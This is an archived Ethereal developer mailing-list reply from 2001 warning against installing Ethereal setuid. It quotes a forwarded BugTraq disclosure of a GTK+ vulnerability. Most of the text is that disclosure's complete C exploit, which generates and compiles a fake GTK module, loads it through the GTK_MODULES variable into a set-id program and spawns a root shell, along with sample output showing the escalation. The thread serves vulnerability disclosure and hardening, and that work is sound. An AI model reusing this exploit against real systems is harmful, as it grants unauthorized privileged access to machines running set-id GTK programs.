Ethereal-dev: Re: [Ethereal-dev] Set-UID (and set-GID) GTK+ programs are insecure
Note: This archive is from the project's previous web site, ethereal.com. This list is no longer active.
From: Nathan Neulinger <nneul@xxxxxxx>
Date: Tue, 02 Jan 2001 21:06:40 -0600
Just to make it abundandtly clear, while the below is an issue, it's the LEAST of your worries making something like ethereal setuid. Making ethereal setuid is functionaly equivalent to making 'cat' setuid. It's not designed for it, and likely never will be. For the simplest example: create a capture, save as "/etc/passwd". If it's setuid, you just replaced the passwd file. And, depending on how ethereal handles umasks and file creation, you may just have created /etc/passwd world writable. Now, once the 'capture' portion is made to be a external miniature setuid app, then the story will be different. The only time when ethereal should be setuid is when you would be happy to give root to any person you allow to run ethereal, and even then it's just a bad idea. (i.e. you are doing it because you are too lazy to su before running it.) Now, it might be reasonably safe to allow tethereal to be setuid - *IF* it disables all -r -w file I/O function when running with uid != euid *or* made extensive use of access(), but even then, I'd say it's a bad idea without a significant security audit. I personally think that the setuid install option should never have been added. The very idea of doing that type of install is ludicrous to me in ethereals current design. -- Nathan Guy Harris wrote: > > Why you might not want to make Ethereal set-UID: > > From: Erik Mouw <J.A.K.Mouw@xxxxxxxxxxxxxx> > To: gtk-devel-list@xxxxxxxxx > Subject: Fwd: gtk+ security hole. > Organization: Eric Conspiracy Secret Labs > > Hi all, > > This came by on the BugTraq mailing list. Pity that the original poster > didn't take this to the gtk-devel list. > > I replied to the original message stating that suid GTK+ programs are > discouraged. Don't know if the moderator will let my reply through, > though. > > Erik > > ----- Forwarded message from Chris Sharp <v9@xxxxxxxxxxxx> ----- > > From: Chris Sharp <v9@xxxxxxxxxxxx> > To: BUGTRAQ@xxxxxxxxxxxxxxxxx > Date: Tue, 2 Jan 2001 00:15:35 -0000 > Subject: gtk+ security hole. > > while going through a quick audit of gtk i found: > > gtk+ can be tricked into running arbitrary code > via a bogus module. this means any program using > gtk that is set*id can be exploited via this > method. here is an exploit i wrote for this > security hole: > > original xgtk.c(working/un-wrapped): > http://realhalo.org/xgtk.c > > xgtk.c: > /* (*)gtk+[v*] local module exploit, by > v9[v9@xxxxxxxxxxxx]. this will give > you the euid/egid of a set*id program using > gtk+. this exploit works via > the GTK_MODULES environmental variable, by > tricking gtk to execute arbitrary > functions/commands with a bogus module. (using > gtk_module_init()) > > example(./xgtk): > ------------------------------------------------------------------------------- > # ls -l /usr/bin/X11/gtk_program > -rwxr-sr-x 1 root tty 437625 Oct 23 > 1999 /usr/bin/X11/gtk_program > # cc xgtk.c -o xgtk > # ./xgtk /usr/bin/X11/gtk_program :0.0 > [ (*)gtk+[v*] local module exploit, by > v9[v9@xxxxxxxxxxxx]. ] > [ program: /usr/bin/X11/gtk_program(->/bin/sh), > display: :0.0. ] > > [*] making module for gtk+ to execute. > (/tmp/gtkm.c) > [*] done, compiling module source file. > (/tmp/gtkm.c->/tmp/gtkm.so) > [*] done, checking to see if the module comiled. > (/tmp/gtkm.so) > [*] done, setting up the environment. > (module&display) > [*] done, executing /usr/bin/X11/gtk_program, the > module should load now. > [*] success, module loaded successfully. > [*] id stats: uid: 0, euid: 0, gid: 0, egid: 5. > [*] now executing: /bin/sh. > # > ------------------------------------------------------------------------------- > > note: this will require a valid display to > exploit successfully. also, i'm > unsure of this for other gtk versions, i > would just assume as much > that this applies to it. > */ > #define GCCPATH "/usr/bin/gcc" // path to gcc. > #define SRCFILE "/tmp/gtkm.c" // source to the > fake module to load. > #define MODEXEC "/tmp/gtkm.so" // fake module to > load. > #define DISPLAY ":0.0" // default > display. (also argv option) > #define EXECUTE "/bin/sh" // execute this > program. > #include <stdio.h> > #include <sys/stat.h> > int main(int argc,char **argv){ > char cmd[256],syscmd[256],display[256]; > struct stat mod1,mod2,mod3; > FILE *source; > fprintf(stderr,"[ (*)gtk+[v*] local module > exploit, by v9[v9@xxxxxxxxxxxx]. ]" > "\n"); > if(argc>1){strncpy(cmd,argv[1],sizeof(cmd));} > else{ > fprintf(stderr,"[!] syntax: %s > </path/to/program> [display]\n",argv[0]); > exit(-1); > } > > if(argc>2){strncpy(display,argv[2],sizeof(display));} > else{strncpy(display,DISPLAY,sizeof(display));} > if(stat(cmd,&mod1)){ > fprintf(stderr,"[!] failed, %s doesn't seem to > exist. (path needed)\n",cmd); > exit(-1); > } > if(stat(GCCPATH,&mod2)){ > fprintf(stderr,"[!] failed, %s compiler doesn't > seem to exist.\n",GCCPATH); > exit(-1); > } > fprintf(stderr,"[ program: %s(->%s), display: %s. > ]\n\n",cmd,EXECUTE,display); > fprintf(stderr,"[*] making module for gtk+ to > execute. (%s)\n",SRCFILE); > unlink(SRCFILE); > unlink(MODEXEC); > source=fopen(SRCFILE,"w"); > fprintf(source,"#include <stdio.h>\n"); > fprintf(source,"void gtk_module_init(){\n"); > fprintf(source," unlink(\"%s\");\n",SRCFILE); > fprintf(source," unlink(\"%s\");\n",MODEXEC); > fprintf(source," fprintf(stderr,\"[*] success, > module loaded successfully.\\n" > "\");\n"); > fprintf(source," fprintf(stderr,\"[*] id stats: > uid: %%d, euid: %%d, gid: %%d" > ", egid: > %%d.\\n\",getuid(),geteuid(),getgid(),getegid());\n",EXECUTE); > fprintf(source," fprintf(stderr,\"[*] now > executing: %s.\\n\");\n",EXECUTE); > fprintf(source," > execl(\"%s\",\"%s\",0);\n",EXECUTE,EXECUTE); > fprintf(source,"}\n"); > fclose(source); > fprintf(stderr,"[*] done, compiling module source > file. (%s->%s)\n",SRCFILE, > MODEXEC); > snprintf(syscmd,sizeof(syscmd),"%s -shared -o %s > %s 1>/dev/null 2>&1",GCCPATH, > MODEXEC,SRCFILE); > system(syscmd); > fprintf(stderr,"[*] done, checking to see if the > module comiled. (%s)\n", > MODEXEC); > if(stat(MODEXEC,&mod3)){ > fprintf(stderr,"[!] failed, %s was not compiled > properly. (gcc failed)\n", > MODEXEC); > exit(-1); > } > fprintf(stderr,"[*] done, setting up the > environment. (module&display)\n"); > setenv("GTK_MODULES",MODEXEC,1); > setenv("DISPLAY",display,1); > fprintf(stderr,"[*] done, executing %s, the > module should load now.\n",cmd); > if(execl(cmd,cmd,0)){ > fprintf(stderr,"[!] failed, %s did not execute > properly.\n",cmd); > unlink(SRCFILE); > unlink(MODEXEC); > exit(-1); > } > } > > Vade79 -> v9@xxxxxxxxxxxx -> www.fakehalo.org. > > ----- End forwarded message ----- > > -- > J.A.K. (Erik) Mouw, Information and Communication Theory Group, Department > of Electrical Engineering, Faculty of Information Technology and Systems, > Delft University of Technology, PO BOX 5031, 2600 GA Delft, The Netherlands > Phone: +31-15-2783635 Fax: +31-15-2781843 Email: J.A.K.Mouw@xxxxxxxxxxxxxx > WWW: http://www-ict.its.tudelft.nl/~erik/ > > _______________________________________________ > gtk-devel-list mailing list > gtk-devel-list@xxxxxxxxx > http://mail.gnome.org/mailman/listinfo/gtk-devel-list > > _______________________________________________ > Ethereal-dev mailing list > Ethereal-dev@xxxxxxxxxxxx > http://www.ethereal.com/mailman/listinfo/ethereal-dev -- ------------------------------------------------------------ Nathan Neulinger EMail: nneul@xxxxxxx University of Missouri - Rolla Phone: (573) 341-4841 CIS - Systems Programming Fax: (573) 341-4216
- References:
- [Ethereal-dev] Set-UID (and set-GID) GTK+ programs are insecure
- From: Guy Harris
- [Ethereal-dev] Set-UID (and set-GID) GTK+ programs are insecure
- Prev by Date: [Ethereal-dev] IP Fix and SSDP support
- Next by Date: Re: [Ethereal-dev] Protocol tree for filters
- Previous by thread: [Ethereal-dev] Set-UID (and set-GID) GTK+ programs are insecure
- Next by thread: [Ethereal-dev] Selsius Station Protocol
- Index(es):